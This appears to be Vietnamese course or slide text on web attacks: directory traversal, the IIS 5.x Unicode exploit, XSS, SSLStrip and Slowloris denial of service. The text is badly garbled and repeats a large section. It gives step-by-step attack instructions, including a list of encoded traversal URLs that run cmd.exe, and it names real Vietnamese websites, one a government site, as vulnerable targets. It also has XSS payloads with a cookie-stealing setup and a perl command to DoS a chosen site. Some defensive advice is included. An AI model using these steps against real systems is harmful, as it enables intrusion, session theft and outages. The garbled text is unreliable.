2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
